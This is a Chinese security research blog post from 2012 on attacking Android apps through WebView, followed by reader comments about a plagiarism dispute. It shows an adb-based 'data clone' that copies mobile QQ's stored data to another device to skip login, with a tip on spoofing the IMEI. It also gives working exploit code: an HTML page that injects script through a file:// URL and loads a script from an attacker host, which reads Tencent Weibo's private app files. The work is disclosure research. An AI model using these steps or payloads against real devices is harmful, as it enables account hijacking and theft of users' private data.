Attack Your Android Apps By Webview
by SuperHei@知道创宇 2012/12/6
一、背景
在《webzine0x06》的文章《Android应用安全之android平台上的xss攻击》详细介绍了android平台上的浏览器跨域及应用apk上的xss漏洞的从发现到利用过程。在提到浏览器跨域漏洞的利用的时候有如下的描述:
<<<<<<<<<<<<<<<<<<<<
对于android上的浏览器来说,一个浏览器就是一个Application,对于系统来说分配给这个浏览器一个uid。这个可以说明2个问题:
* 对应用程序的owner数据文件有读取权限
* 对系统里设置了other可读的文件有读取权限
>>>>>>>>>>>>>>>>>>>
所以《Android应用安全之android平台上的xss攻击》一文里重点分析寻找“对系统里设置了other可读的文件有读取权限”,而忽视了“对应用程序的owner数据文件有读取权限”的利用。这是因为在《Android应用安全之android平台上的xss攻击》一文里提到的浏览器跨域漏洞利用效果的“致命的弱点:为了弥补在显示和操作方面的先天不足,广泛采用apk机制,也就是说把各大sns应用都开发自己的手机客服端应用,这个方式直接扼杀了浏览器跨域漏洞跨单纯http协议之间上利用价值。”。也正是这个原因,所以各大sns网络的应用就在本身集成了“浏览器功能”(Webview),而在以后的测试中发现,这个机制可能给用户带来致命的威胁!
二、安卓应用“数据克隆”设计缺陷
对于安卓的各大SNS网络应用,为了登录的方便都是默认设置打开“记住密码”功能,这样无疑提高了用户体验。但是也带来了安全隐患!在记住密码的app登录后,我们退出改应用或者结束进程。当我们重新点击该应用的图标时,可以直接登录。那么当我们把该应用的数据文件直接copy到另外的手机上,会不会可以直接登录呢?
我们用安卓qq测试下:
>adb devices
List of devices attached
emulator-5554 device
emulator-5556 device
先在emulator-5554上登录qq,默认“记住密码”不要修改。登录成功后执行如下:
>adb -s emulator-5554 pull /data/data/com.tencent.mobileqq/ d:\\aab
pull: building file list...
pull: /data/data/com.tencent.mobileqq/databases/qcenter.Db -> d:\\aab/databases/qcenter.Db
pull: /data/data/com.tencent.mobileqq/databases/*************.db -> d:\\aab/databases/*************.db
pull: /data/data/com.tencent.mobileqq/shared_prefs/only.xml -> d:\\aab/shared_prefs/only.xml
pull: /data/data/com.tencent.mobileqq/shared_prefs/share.xml -> d:\\aab/shared_prefs/share.xml
pull: /data/data/com.tencent.mobileqq/shared_prefs/com.tencent.mobileqq_preferences.xml -> d:\\aab/shared_prefs/com.tencent.mobileqq_preferences.xml
pull: /data/data/com.tencent.mobileqq/shared_prefs/mobileQQ.xml -> d:\\aab/shared_prefs/mobileQQ.xml
pull: /data/data/com.tencent.mobileqq/shared_prefs/*************.xml -> d:\\aab/shared_prefs/*************.xml
pull: /data/data/com.tencent.mobileqq/files/ADPic/457 -> d:\\aab/files/ADPic/457
pull: /data/data/com.tencent.mobileqq/files/Skin/skinmain.xml -> d:\\aab/files/Skin/skinmain.xml
pull: /data/data/com.tencent.mobileqq/files/Skin/tab_bg_bar.png -> d:\\aab/files/Skin/tab_bg_bar.png
pull: /data/data/com.tencent.mobileqq/files/Skin/thumbnail_skin.xml -> d:\\aab/files/Skin/thumbnail_skin.xml
pull: /data/data/com.tencent.mobileqq/files/Skin/title_bg_bar.png -> d:\\aab/files/Skin/title_bg_bar.png
pull: /data/data/com.tencent.mobileqq/files/sc/ConfigStore2.dat -> d:\\aab/files/sc/ConfigStore2.dat
pull: /data/data/com.tencent.mobileqq/files/ConfigStore2.dat -> d:\\aab/files/ConfigStore2.dat
pull: /data/data/com.tencent.mobileqq/files/runningApp -> d:\\aab/files/runningApp
pull: /data/data/com.tencent.mobileqq/lib/libamrnb.so -> d:\\aab/lib/libamrnb.so
pull: /data/data/com.tencent.mobileqq/lib/libaudiohelper.so -> d:\\aab/lib/libaudiohelper.so
pull: /data/data/com.tencent.mobileqq/lib/libcodecwrapper.so -> d:\\aab/lib/libcodecwrapper.so
pull: /data/data/com.tencent.mobileqq/lib/libCommon.so -> d:\\aab/lib/libCommon.so
pull: /data/data/com.tencent.mobileqq/lib/liblbs.so -> d:\\aab/lib/liblbs.so
pull: /data/data/com.tencent.mobileqq/lib/libmsfboot.so -> d:\\aab/lib/libmsfboot.so
pull: /data/data/com.tencent.mobileqq/lib/libsnapcore.so -> d:\\aab/lib/libsnapcore.so
pull: /data/data/com.tencent.mobileqq/lib/libVideoCtrl.so -> d:\\aab/lib/libVideoCtrl.so
23 files pulled. 0 files skipped.
88 KB/s (4431172 bytes in 49.011s)
然后把这些文件copy到emulator-5556上,执行命令如下:
>adb -s emulator-5556 push D:\\aab /data/data/com.tencent.mobileqq/
push: D:\\aab/databases/qcenter.Db -> /data/data/com.tencent.mobileqq/databases/qcenter.Db
push: D:\\aab/databases/*************.db -> /data/data/com.tencent.mobileqq/databases/*************.db
push: D:\\aab/files/ADPic/457 -> /data/data/com.tencent.mobileqq/files/ADPic/457
push: D:\\aab/files/sc/ConfigStore2.dat -> /data/data/com.tencent.mobileqq/files/sc/ConfigStore2.dat
push: D:\\aab/files/Skin/title_bg_bar.png -> /data/data/com.tencent.mobileqq/files/Skin/title_bg_bar.png
push: D:\\aab/files/Skin/thumbnail_skin.xml -> /data/data/com.tencent.mobileqq/files/Skin/thumbnail_skin.xml
push: D:\\aab/files/Skin/tab_bg_bar.png -> /data/data/com.tencent.mobileqq/files/Skin/tab_bg_bar.png
push: D:\\aab/files/Skin/skinmain.xml -> /data/data/com.tencent.mobileqq/files/Skin/skinmain.xml
push: D:\\aab/files/runningApp -> /data/data/com.tencent.mobileqq/files/runningApp
push: D:\\aab/files/ConfigStore2.dat -> /data/data/com.tencent.mobileqq/files/ConfigStore2.dat
push: D:\\aab/lib/libVideoCtrl.so -> /data/data/com.tencent.mobileqq/lib/libVideoCtrl.so
push: D:\\aab/lib/libsnapcore.so -> /data/data/com.tencent.mobileqq/lib/libsnapcore.so
push: D:\\aab/lib/libmsfboot.so -> /data/data/com.tencent.mobileqq/lib/libmsfboot.so
push: D:\\aab/lib/liblbs.so -> /data/data/com.tencent.mobileqq/lib/liblbs.so
push: D:\\aab/lib/libCommon.so -> /data/data/com.tencent.mobileqq/lib/libCommon.so
push: D:\\aab/lib/libcodecwrapper.so -> /data/data/com.tencent.mobileqq/lib/libcodecwrapper.so
push: D:\\aab/lib/libaudiohelper.so -> /data/data/com.tencent.mobileqq/lib/libaudiohelper.so
push: D:\\aab/lib/libamrnb.so -> /data/data/com.tencent.mobileqq/lib/libamrnb.so
push: D:\\aab/shared_prefs/share.xml -> /data/data/com.tencent.mobileqq/shared_prefs/share.xml
push: D:\\aab/shared_prefs/only.xml -> /data/data/com.tencent.mobileqq/shared_prefs/only.xml
push: D:\\aab/shared_prefs/mobileQQ.xml -> /data/data/com.tencent.mobileqq/shared_prefs/mobileQQ.xml
push: D:\\aab/shared_prefs/com.tencent.mobileqq_preferences.xml -> /data/data/com.tencent.mobileqq/shared_prefs/com.tencent.mobileqq_preferences.xml
push: D:\\aab/shared_prefs/*************.xml -> /data/data/com.tencent.mobileqq/shared_prefs/*************.xml
23 files pushed. 0 files skipped.
69 KB/s (4431172 bytes in 62.108s)
进入 emulator-5556的adb shell
>adb -s emulator-5556 shell
# ls -l /data/data/
ls -l /data/data/
drwxr-x--x app_1 app_1 2012-09-24 02:43 com.android.htmlviewer
....
drwxr-x--x app_35 app_35 2012-12-06 07:17 com.tencent.mobileqq
查看com.tencent.mobileqq的uid为 app_35 而我们copy过去的数据 是root的:
# ls -l /data/data/com.tencent.mobileqq
ls -l /data/data/com.tencent.mobileqq
drwxrwxr-x root root 2012-12-06 07:17 shared_prefs
drwxrwxr-x root root 2012-12-06 07:16 databases
drwxrwx--x app_35 app_35 2012-12-06 07:10 cache
drwxrwx--x app_35 app_35 2012-12-06 07:16 files
drwxr-xr-x system system 2012-12-06 07:17 lib
我们要重新chown一下:
# cd /data/data/com.tencent.mobileqq
cd /data/data/com.tencent.mobileqq
# chown app_35 *
chown app_35 *
# ls -l
ls -l
drwxrwxr-x app_35 root 2012-12-06 07:17 shared_prefs
drwxrwxr-x app_35 root 2012-12-06 07:16 databases
drwxrwx--x app_35 app_35 2012-12-06 07:10 cache
drwxrwx--x app_35 app_35 2012-12-06 07:16 files
drwxr-xr-x app_35 system 2012-12-06 07:17 lib
最后我们回到emulator-5556 登录qq,点击qq图标直接登录了....
这个测试结果告诉我们,在安卓应用使用“记录密码”功能的前提下,我们可以通过“数据克隆”,直接绕过应用的用户认证,从而完全控制该应用的权限!
[PS:在现实攻击真实手机上的qq时,因为qq在登录机制里判断的了imei号,所以修改模拟器的imei与攻击手机的一样,而手机qq的app数据里本身就存在这个imei信息,具体位于:shared_prefs\mobileQQ.xml里,另外上面的“*************”为目标的qq号。]
而实现上面的攻击方式最基本的要求就是:拥有对该应用数据的“读”权限。
三、利用Webview进行远程“数据克隆”
对于一个带有webview的应用来说,我们通过《Android应用安全之android平台上的xss攻击》里介绍过的一系列的漏洞,来读取本地文件,因为webview的owner就是该应用的owner,所以肯定就有对应用本身的访问权限。那么攻击者就可以通过应用程序的xss漏洞或者webkit的跨本地域的漏洞,配合上面提到的“数据克隆”,最终实现“攻击者访问一个url我就可以登录你的帐号”的攻击效果。
目前android的比较新的版本fix了《Android应用安全之android平台上的xss攻击》文里提到的大部分漏洞。
四、demo [这部分是2013/3/16日补充的]
我们直接利用《Android应用安全之android平台上的xss攻击》文里提到的漏洞,来实现 对“腾讯微博”(com.tencent.WBlog)自身的数据的访问。
# pwd
pwd
/data/data/com.tencent.WBlog/shared_prefs
# ls -l
ls -l
-rw-rw---- app_44 app_44 118 2013-03-16 12:58 WebViewSettings.xml
-rw-rw---- app_44 app_44 184 2013-03-16 12:56 eupstrategy.xml
# cat eupstrategy.xml
cat eupstrategy.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="localversion">3.8.0.936|锟斤拷锟絅5e锟斤拷P锟阶?Ru锟斤拷
|rqd_1.3.15_CProcStrategySync|</string>
</map>
我们可以看出/data/data/com.tencent.WBlog/shared_prefs/eupstrategy.xml 权限设置为对other不可读。但是对owner是可读的。
测试如下:我们先在微博发个link http://192.168.1.101/android/exp-1.htm 短连接为 http://url.cn/8I5Os7 然后在app里访问这个url ,使用“电脑版”访问。就可以直接弹出eupstrategy.xml的内容了。
同理我们可以完全copy出com.tencent.WBlog的所有数据文件,然后进行“数据克隆”后,远程登录控制被攻击者的微博帐号。
上面代码如下:
exp-1.htm 的代码:
<iframe name=f style=display:none src="location.php" ></iframe>
<script>
function init(){
f.location = "file:///ssss<sc"+"ript>alert(1);eval(decodeURIComponent(location.hash.slice(1)));</sc"+"ript>/#var d = window.document;var js = document.createElement('script');js.setAttribute('src', 'http://192.168.1.101/android/11.js');d.body.appendChild(js);"
}
setTimeout(init,3000)
</script>
11.js 的代码:
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP',
'Microsoft.XMLHTTP',
'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0',
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}xmlhttp=request;
//获取本地文件代码
xmlhttp.open("GET", "file:////data/data/com.tencent.WBlog/shared_prefs/eupstrategy.xml", false);xmlhttp.send(null);
var ret = xmlhttp.responseText;alert(ret);
五、参考
《webzine0x06》http://www.80vul.com/webzine_0x06/
《Android应用安全之android平台上的xss攻击》http://www.80vul.com/webzine_0x06/PSTZine_0x06_0x05.txt
13条评论
这个是不是跨域那个漏洞噩梦
神马情况
跨国PK!^_^
我是熊谷 裕志 你抄袭我的文章 这样不好 http://codezine.jp/article/detail/6618
hi 熊谷 裕志 :
我不知道你是根据什么来判断我抄袭你的,我看日文文档的机会很少,至于你发的那篇文章里引用的 http://seclists.org/fulldisclosure/2012/Feb/111 这篇文章就是我写的 :)
其实我篇文章的重点是”Data-Clone,至于file://去读文件 在 http://www.80vul.com/webzine_0x06/PSTZine_0x06_0x05.txt 里早有描叙 !
–superhei
https://twitter.com/80vul/status/314023215469047809 i talk about on twitter 🙂
刚在推特看见消息…技术真是无国籍撒……再次对不起…..
hi, I am Hiroshi Kumagai.
“zhoujingping” is not me.
I did not copy your article. I cited and link your article in my article,
so original is yours.
hah, thank u reply me.
so i think someone posing as you . and i am sorry for my arbitrary
对不起 superhei牛….我错鸟……我陈清这个文章您没有抄袭…..是我唬烂的….您是翘楚 您是我们学习的榜样
对不起 Hiroshi Kumagai. 我本来只是想和superhei开个玩笑 我冒用了您的身份 对不起….
路过><
alert(‘碉堡’)